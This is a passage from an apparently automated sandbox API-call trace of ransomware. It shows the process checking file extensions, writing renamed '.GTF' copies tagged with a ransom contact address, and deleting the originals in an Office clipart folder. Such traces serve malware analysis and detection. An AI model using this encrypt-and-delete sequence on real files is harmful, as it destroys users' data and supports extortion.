	[0091.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0091.275] lstrlenW (lpString=".zip") returned 4
	[0091.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.275] lstrlenW (lpString=".rar") returned 4
	[0091.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.275] lstrlenW (lpString=".bz2") returned 4
	[0091.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.275] lstrlenW (lpString=".7z") returned 3
	[0091.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0091.275] lstrlenW (lpString=".dbf") returned 4
	[0091.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0091.275] lstrlenW (lpString=".1cd") returned 4
	[0091.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0091.275] lstrlenW (lpString=".jpg") returned 4
	[0091.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.276] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0091.276] lstrlenW (lpString="J0099171.WMF") returned 12
	[0091.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0091.276] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=8754) returned 1
	[0091.276] CloseHandle (hObject=0x39c) returned 1
	[0091.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 0x220
	[0091.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0091.277] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.277] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0091.286] GetLastError () returned 0x0
	[0091.286] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x2232, lpOverlapped=0x0) returned 1
	[0091.288] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x2240, lpOverlapped=0x0) returned 1
	[0091.289] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.289] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.290] SetEndOfFile (hFile=0x384) returned 1
	[0091.290] CloseHandle (hObject=0x384) returned 1
	[0091.290] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.290] SetEndOfFile (hFile=0x39c) returned 1
	[0091.291] CloseHandle (hObject=0x39c) returned 1
	[0091.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 1
	[0091.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0091.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0091.291] lstrlenW (lpString=".doc") returned 4
	[0091.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.291] lstrlenW (lpString=".docx") returned 5
	[0091.292] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0091.292] lstrlenW (lpString=".pdf") returned 4
	[0091.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.292] lstrlenW (lpString=".xls") returned 4
	[0091.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.292] lstrlenW (lpString=".xlsx") returned 5
	[0091.292] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0091.292] lstrlenW (lpString=".ppt") returned 4
	[0091.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0091.292] lstrlenW (lpString=".zip") returned 4
	[0091.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.292] lstrlenW (lpString=".rar") returned 4
	[0091.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.292] lstrlenW (lpString=".bz2") returned 4
	[0091.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.292] lstrlenW (lpString=".7z") returned 3
	[0091.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0091.292] lstrlenW (lpString=".dbf") returned 4
	[0091.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0091.292] lstrlenW (lpString=".1cd") returned 4
	[0091.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0091.292] lstrlenW (lpString=".jpg") returned 4
	[0091.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0091.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0091.292] lstrlenW (lpString=".doc") returned 4
	[0091.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.292] lstrlenW (lpString=".docx") returned 5
	[0091.292] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0091.292] lstrlenW (lpString=".pdf") returned 4
	[0091.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.293] lstrlenW (lpString=".xls") returned 4
	[0091.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.293] lstrlenW (lpString=".xlsx") returned 5
	[0091.293] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0091.293] lstrlenW (lpString=".ppt") returned 4
	[0091.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0091.293] lstrlenW (lpString=".zip") returned 4
	[0091.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.293] lstrlenW (lpString=".rar") returned 4
	[0091.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.293] lstrlenW (lpString=".bz2") returned 4
	[0091.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.293] lstrlenW (lpString=".7z") returned 3
	[0091.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0091.293] lstrlenW (lpString=".dbf") returned 4
	[0091.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0091.293] lstrlenW (lpString=".1cd") returned 4
	[0091.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0091.293] lstrlenW (lpString=".jpg") returned 4
	[0091.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.293] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0091.293] lstrlenW (lpString="J0099172.WMF") returned 12
	[0091.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0091.294] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=58258) returned 1
	[0091.294] CloseHandle (hObject=0x39c) returned 1
	[0091.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 0x220
	[0091.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0091.294] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.294] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0091.295] GetLastError () returned 0x0
	[0091.295] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xe392, lpOverlapped=0x0) returned 1
	[0091.298] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe3a0, lpOverlapped=0x0) returned 1
	[0091.299] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.299] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.300] SetEndOfFile (hFile=0x384) returned 1
	[0091.300] CloseHandle (hObject=0x384) returned 1
	[0091.300] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.300] SetEndOfFile (hFile=0x39c) returned 1
	[0091.301] CloseHandle (hObject=0x39c) returned 1
	[0091.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 1
	[0091.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0091.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0091.302] lstrlenW (lpString=".doc") returned 4
	[0091.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.302] lstrlenW (lpString=".docx") returned 5
	[0091.302] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0091.302] lstrlenW (lpString=".pdf") returned 4
	[0091.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.302] lstrlenW (lpString=".xls") returned 4
	[0091.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.302] lstrlenW (lpString=".xlsx") returned 5
	[0091.302] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0091.302] lstrlenW (lpString=".ppt") returned 4
	[0091.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0091.302] lstrlenW (lpString=".zip") returned 4
	[0091.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.302] lstrlenW (lpString=".rar") returned 4
	[0091.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.302] lstrlenW (lpString=".bz2") returned 4
	[0091.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.302] lstrlenW (lpString=".7z") returned 3
	[0091.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0091.302] lstrlenW (lpString=".dbf") returned 4
	[0091.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0091.302] lstrlenW (lpString=".1cd") returned 4
	[0091.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0091.302] lstrlenW (lpString=".jpg") returned 4
	[0091.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0091.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0091.302] lstrlenW (lpString=".doc") returned 4
	[0091.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.303] lstrlenW (lpString=".docx") returned 5
	[0091.303] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0091.303] lstrlenW (lpString=".pdf") returned 4
	[0091.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.303] lstrlenW (lpString=".xls") returned 4
	[0091.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.303] lstrlenW (lpString=".xlsx") returned 5
	[0091.303] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0091.303] lstrlenW (lpString=".ppt") returned 4
	[0091.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0091.303] lstrlenW (lpString=".zip") returned 4
	[0091.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.303] lstrlenW (lpString=".rar") returned 4
	[0091.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.303] lstrlenW (lpString=".bz2") returned 4
	[0091.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.303] lstrlenW (lpString=".7z") returned 3
	[0091.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0091.303] lstrlenW (lpString=".dbf") returned 4
	[0091.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0091.303] lstrlenW (lpString=".1cd") returned 4
	[0091.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0091.303] lstrlenW (lpString=".jpg") returned 4
	[0091.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.303] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0091.303] lstrlenW (lpString="J0099173.WMF") returned 12
	[0091.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0091.304] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=37140) returned 1
	[0091.304] CloseHandle (hObject=0x39c) returned 1
	[0091.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 0x220
	[0091.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0091.304] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.304] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0091.305] GetLastError () returned 0x0
	[0091.305] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x9114, lpOverlapped=0x0) returned 1
	[0091.507] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x9120, lpOverlapped=0x0) returned 1
	[0091.559] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.559] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.559] SetEndOfFile (hFile=0x384) returned 1
	[0091.559] CloseHandle (hObject=0x384) returned 1
	[0091.559] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.559] SetEndOfFile (hFile=0x39c) returned 1
	[0091.560] CloseHandle (hObject=0x39c) returned 1
	[0091.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 1
	[0091.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0091.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0091.561] lstrlenW (lpString=".doc") returned 4
	[0091.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.561] lstrlenW (lpString=".docx") returned 5
	[0091.561] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0091.561] lstrlenW (lpString=".pdf") returned 4
	[0091.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.561] lstrlenW (lpString=".xls") returned 4
	[0091.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.561] lstrlenW (lpString=".xlsx") returned 5
	[0091.561] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0091.561] lstrlenW (lpString=".ppt") returned 4
	[0091.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0091.561] lstrlenW (lpString=".zip") returned 4
	[0091.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.561] lstrlenW (lpString=".rar") returned 4
	[0091.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.562] lstrlenW (lpString=".bz2") returned 4
	[0091.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.562] lstrlenW (lpString=".7z") returned 3
	[0091.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0091.562] lstrlenW (lpString=".dbf") returned 4
	[0091.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0091.562] lstrlenW (lpString=".1cd") returned 4
	[0091.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0091.562] lstrlenW (lpString=".jpg") returned 4
	[0091.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0091.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0091.562] lstrlenW (lpString=".doc") returned 4
	[0091.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.562] lstrlenW (lpString=".docx") returned 5
	[0091.562] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0091.562] lstrlenW (lpString=".pdf") returned 4
	[0091.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.562] lstrlenW (lpString=".xls") returned 4
	[0091.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.562] lstrlenW (lpString=".xlsx") returned 5
	[0091.562] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0091.562] lstrlenW (lpString=".ppt") returned 4
